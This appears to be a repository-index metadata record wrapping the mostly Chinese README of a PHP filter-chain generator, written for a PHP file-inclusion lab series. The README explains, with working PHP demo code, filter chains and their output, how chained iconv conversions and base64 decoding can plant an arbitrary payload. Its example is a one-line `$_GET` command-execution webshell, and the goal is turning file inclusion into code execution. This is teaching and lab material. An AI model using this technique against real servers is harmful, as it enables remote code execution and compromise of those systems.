{"id":19555964,"url":"https://github.com/probiusofficial/php-filterchain-exploit","last_synced_at":"2025-02-26T07:43:33.481Z","repository":{"id":251421354,"uuid":"837364635","full_name":"ProbiusOfficial/PHP-FilterChain-Exploit","owner":"ProbiusOfficial","description":"A Online PHP FilterChain Generator.","archived":false,"fork":false,"pushed_at":"2024-08-03T12:41:59.000Z","size":100,"stargazers_count":13,"open_issues_count":0,"forks_count":2,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-08T21:28:00.843Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://probiusofficial.github.io/PHP-FilterChain-Exploit/","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ProbiusOfficial.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-02T19:52:34.000Z","updated_at":"2024-12-20T08:21:48.000Z","dependencies_parsed_at":null,"dependency_job_id":"aad486b5-229e-4a91-abef-955202f2a1fd","html_url":"https://github.com/ProbiusOfficial/PHP-FilterChain-Exploit","commit_stats":null,"previous_names":["probiusofficial/php-filterchain-exploit"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHP-FilterChain-Exploit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHP-FilterChain-Exploit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHP-FilterChain-Exploit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHP-FilterChain-Exploit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ProbiusOfficial","download_url":"https://codeload.github.com/ProbiusOfficial/PHP-FilterChain-Exploit/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":240814837,"owners_count":19861955,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-11T04:36:17.571Z","updated_at":"2025-02-26T07:43:33.426Z","avatar_url":"https://github.com/ProbiusOfficial.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PHP-FilterChain-Exploit\nA Online PHP FilterChain Generator：https://probiusofficial.github.io/PHP-FilterChain-Exploit/\n\nUsed in  [【PHPinclude-labs · level 16: FilterChain:THE_END_OF_LFI】](https://github.com/ProbiusOfficial/PHPinclude-labs/tree/main/Level%2016)   to simplify the generation process.\n\nidea：https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d\n\nModified from：\n\n- https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT/\n\n- https://github.com/synacktiv/php_filter_chain_generator/\n\n## Detail\n\n\u003e 在开始之前，请先参阅 [【PHP手册 · wrappers · php://filter】](https://www.php.net/manual/zh/wrappers.php.php#wrappers.php.filter).\n\u003e\n\u003e 如果你无法理解，可以尝试完成  [【PHPinclude-labs】](https://github.com/ProbiusOfficial/PHPinclude-labs) 中的 【Level 6】 【Level 8】 【Level 9】【Level 11】【Level 11-】【Level 11\n\u003e\n\u003e +】\n\u003e\n\u003e php:// — 访问各个输入/输出流（I/O streams）\n\n php://filter - (PHP_Version\u003e=5.0.0)其参数会在该协议路径上进行传递，多个参数都可以在一个路径上传递，从而组成一个过滤链，常用于数据读取。\n\n| 名称                      | 描述                                                         | 示例                 |\n| ------------------------- | ------------------------------------------------------------ | -------------------- |\n| resource=\u003c要过滤的数据流\u003e | 这个参数是必须的。它指定了你要筛选过滤的数据流。             | `resource=flag.php`    |\n| read=\u003c读链的筛选列表\u003e     | 该参数可选。可以设定一个或多个过滤器名称，以管道符（\\|）分隔。 | `php://filter/read=A\\|B\\|C/resource=flag.php`  |\n| write=\u003c写链的筛选列表\u003e    | 该参数可选。可以设定一个或多个过滤器名称，以管道符（\\|）分隔。 | `php://filter/write=A\\|B\\|C/resource=flag.php` |\n| \u003c；两个链的筛选列表\u003e      | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 | `php://filter/A\\|B\\|C/resource=flag.php`       |\n\n我们以 `convert.iconv` 的 `CSISO2022KR` 为例子，看下面的这一串php代码：\n\n```\nphp://filter/convert.iconv.UTF8.CSISO2022KR/resource=php://temp\n```\n\n我们尝试输出它：\n\n```PHP\n\u003c?php\n$url = \"php://filter/convert.iconv.UTF8.CSISO2022KR/resource=php://temp\";\n$var = file_get_contents($url);\n\nvar_dump(file_get_contents($url));# Output：string(4) \"\" #这里\"\"中没有内容是因为编码的字符是不可见字符\n\necho bin2hex($var);# Output：1b242943 （The hexcode of “.$)C”）\n```\n\n![img](./assets/1722630202107-1.png)\n\n当然现在可能不是很明显，我们尝试强制解码再编码：\n\n```PHP\n\u003c?php\n$url = \"php://filter/convert.iconv.UTF8.CSISO2022KR\";\n$url .= \"|convert.base64-decode\";\n$var = file_get_contents($url.\"/resource=data://,aaa\");\necho $url.\"|convert.base64-encode/resource=data://,aaa\".\"\\n\";\necho bin2hex($var).\"\\n\";\nvar_dump(file_get_contents($url.\"|convert.base64-encode/resource=data://,aaa\"));\n\n#Output:\n\n$url .= \"|convert.base64-encode\";\n$url .= \"/resource=data://,aaa\";\necho $url.\"\\n\";\n$var = file_get_contents($url);\necho bin2hex($var).\"\\n\";\nvar_dump(file_get_contents($url));\n```\n\n上述程序的输出如下：\n\n```PHP\nphp://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaa\n09a69a \nstring(3) \"     ��\"\n\nphp://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaa\n43616161\nstring(4) \"Caaa\"\n```\n\n![img](./assets/1722630202107-2.png)\n\n因为base64的宽松性，这个解码过程可以这样理解：\n\n```PHP\npreg_replace('|[^a-z0-9A-Z+/]|s', '', $input);\n```\n\n所以当我们调用decode的时候首先会对非法字符进行置空，只剩下C和剩下的字符一起解码，那么我们想要还原这个C，按照base64encode的原理，至少需要4个字符，所以我们这里使用了resource=data://,aaa让C和三个a一起解码。\n\n我们利用编码转换构造了一个C的base64decode串，那么能否利用`iconv`的特性构造其他字符呢？\n\n答案是可以的，只要构造的字符在base64表内，那么就能通过不停的拼接`iconv`支持的编码，不断的利用base64特性去除非法字符，然后留下特定字符进行构造。\n\n那么我们就可以构造`A-Za-z0-9+/=`任意字符。\n\n既然这样，我们能否在把脑洞开大一点，我们既然能构造base64表中的任意字符，那我们讲这一串字符再进行一次base64解码不就相当于，我们能够构造不受限制的任意字符了么？！！！\n\n根据上面的结论，理论上我们可以对任意payload的base64进行构造，只需要通过编码不断扩展就行，比如下面这一个过程：\n\n```PHP\n\u003c?php\n$url = \"php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4\";\n$url_2 = \"php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921\";\n$url_3 = \"php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE\";\n\n$url .= \"|convert.base64-decode\";\n$var = file_get_contents($url.\"/resource=data://,aaa\");\necho $url.\"|convert.base64-encode/resource=data://,aaa\".\"\\n\";\necho bin2hex($var).\"\\n\";\nvar_dump(file_get_contents($url.\"/resource=data://,aaa\"));\n\n$url .= \"|convert.base64-encode\";\n$url .= \"/resource=data://,aaa\";\necho $url.\"\\n\";\n$var = file_get_contents($url);\necho bin2hex($var).\"\\n\";\nvar_dump(file_get_contents($url));\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,aaa\nd5a69a\nstring(3) \"զ�\"\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,aaa\n31616161 string(4) \"1aaa\"\n\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode/resource=data://,aaa\ndb569a string(3) \"�V�\"\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode/resource=data://,aaa\n32316161 string(4) \"21aa\"\n\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode/resource=data://,aaa\ndccdb569a6 string(5) \"�͵i�\"\nphp://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode/resource=data://,aaa\n334d3231 string(4) \"3M21\"\n```\n\n可以看到 当我们增加对应字符的编码串的时候 他会在原字符串的前端生成对应字符。\n\n那么思路就明确了，比如我们要构造生成下面这样的php payload\n\n```PHP\n\u003c?=`$_GET[0]`;;?\u003e\n```\n\n我们只需要构造他的base64形式的反转形式最后解码，就能在字符串前端生成我们的payload了\n\n```\nPD89YCRfR0VUWzBdYDs7Pz4=` ——\u003e `4zP7sDYdBzWUV0RfRCY98DP\n```\n\n在了解基本原理之后，我们要做的就是使用编码构造一份字典，对应base64编码中每一个合法字符：https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprobiusofficial%2Fphp-filterchain-exploit","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fprobiusofficial%2Fphp-filterchain-exploit","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprobiusofficial%2Fphp-filterchain-exploit/lists"}